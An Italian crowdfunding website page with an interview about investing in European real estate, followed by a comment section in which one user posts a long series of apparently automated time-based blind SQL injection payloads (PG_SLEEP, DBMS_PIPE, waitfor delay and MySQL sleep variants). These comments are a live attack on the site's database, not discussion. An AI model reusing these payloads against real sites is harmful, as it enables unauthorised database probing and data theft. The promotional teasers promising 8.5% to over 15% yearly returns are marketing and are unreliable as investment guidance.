Cos'è il crowdfunding? Come funziona, tipi e rischi
Cos'è il crowdfunding? Una guida chiara su come funziona, i tipi principali (reward, equity, lending, immobiliare), le regole UE e i rischi per chi investe.
- Crowdfunding
- Investing
Intervista
È un buon momento per investire nel crowdfunding immobiliare?
Gli immobili sono considerati uno degli investimenti più sicuri, ma è così nelle condizioni attuali?
Condividi
Chiediamo a Janis Ozols, Partner di Colliers, Valuation and Advisory.
L'economia mondiale è caratterizzata da un'elevata volatilità e incertezza, accompagnata da una forte inflazione.
In questi momenti investire è fondamentale per non perdere il valore dei propri risparmi, ma dove investire? Gli immobili sono considerati uno degli investimenti più sicuri, ma è così nelle condizioni attuali? Lo chiediamo a Janis Ozols, Partner di Colliers, Valuation and Advisory.
Qual è lo stato attuale del mercato immobiliare europeo alla luce del post-Covida e dell'impatto della guerra in Ucraina?
Dopo lo shock iniziale, gli operatori del mercato - sia privati che aziendali - sembrano essere entrati in uno stato mentale in cui la vita e gli affari devono semplicemente andare avanti. Dobbiamo tenere presente che il capitale disponibile è ancora a livelli record ed è in cerca di opportunità da sfruttare. Con l'inflazione elevata, la voglia e l'appetito di trasformare il capitale in attività aumentano ancora di più.
E all'improvviso l'efficienza energetica e la sostenibilità non sono più qualcosa di piacevole da pensare, ma una questione urgente da affrontare.
I prezzi degli immobili si avvicinano a un picco artificiale e cosa succederà quando la situazione si normalizzerà?
Mi asterrei dal fare dichiarazioni sul fatto che ci troviamo o meno in un picco. Affidarsi solo alla crescita del valore del capitale a breve termine è sempre rischioso. Bisogna capire la prospettiva a lungo termine. E questa è molto probabilmente diversa tra i vari settori del mercato immobiliare e le varie aree geografiche.
È una buona idea investire nel settore immobiliare nella situazione attuale e, in caso affermativo, in quale tipo (sviluppo, acquisto in affitto, commerciale/affitto)?
Se disponete di fondi propri in banca, un immobile che produce reddito da locazione è sicuramente un'opzione allettante. A condizione che corrisponda al vostro profilo di rischio.
Attualmente sono in voga gli affitti residenziali e gli asset logistici. Anche gli uffici hanno la loro domanda, così come alcuni segmenti immobiliari al dettaglio (ma non tutti). Molti vedono opportunità allettanti nel settore dell'ospitalità.
Capitale a rischio. Gli investimenti in crowdfunding non sono coperti dai sistemi di garanzia dei depositi, possono perdere in parte o del tutto il loro valore e possono essere difficili da vendere prima della scadenza. Questa guida è un’informazione, non una consulenza personale sugli investimenti.
Ti è stato utile?
Mi piace · 0
Eugene Sokolovs Esperto
Founder of Crowdinform
Continua a leggere
Video
🏰 Costruisci il tuo impero immobiliare europeo… con i soldi del pranzo 🥪
Oggi puoi iniziare con soli 100 euro — più o meno il prezzo di una bella cena fuori — e con poche migliaia di euro costruire un portafoglio immobiliare diversificato in tutta Europa 🌍, ottenendo rendimenti annui compresi tra l'8,5% e oltre il 15%.
Ora puoi investire in SpaceX, Stripe e Mistral prima che entrino in borsa: ecco come fare
Per decenni, i maggiori guadagni sugli investimenti sono stati realizzati a porte chiuse. Ora non è più così.
- Investing in Startups
Commenti · 24
KkEMlzpAX
555
KkEMlzpAX
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
KkEMlzpAX
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
KkEMlzpAX
555X0CUQDwY')) OR 140=(SELECT 140 FROM PG_SLEEP(15))--
KkEMlzpAX
555wbG8V5yx') OR 985=(SELECT 985 FROM PG_SLEEP(15))--
KkEMlzpAX
555T1DXnocJ' OR 497=(SELECT 497 FROM PG_SLEEP(15))--
KkEMlzpAX
555-1)) OR 762=(SELECT 762 FROM PG_SLEEP(15))--
KkEMlzpAX
555-1) OR 158=(SELECT 158 FROM PG_SLEEP(15))--
KkEMlzpAX
555-1 OR 324=(SELECT 324 FROM PG_SLEEP(15))--
KkEMlzpAX
555MIk6zzQ8'; waitfor delay '0:0:15' --
KkEMlzpAX
555-1 waitfor delay '0:0:15' --
KkEMlzpAX
555-1); waitfor delay '0:0:15' --
KkEMlzpAX
555-1; waitfor delay '0:0:15' --
KkEMlzpAX
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
KkEMlzpAX
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
KkEMlzpAX
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
KkEMlzpAX
555*if(now()=sysdate(),sleep(15),0)
KkEMlzpAX
555
KkEMlzpAX
555
KkEMlzpAX
555
KkEMlzpAX
555-1)) OR 438=(SELECT 438 FROM PG_SLEEP(15))--
KkEMlzpAX
555
KkEMlzpAX
555MjelpxhN' OR 67=(SELECT 67 FROM PG_SLEEP(15))--
KkEMlzpAX
555-1; waitfor delay '0:0:15' --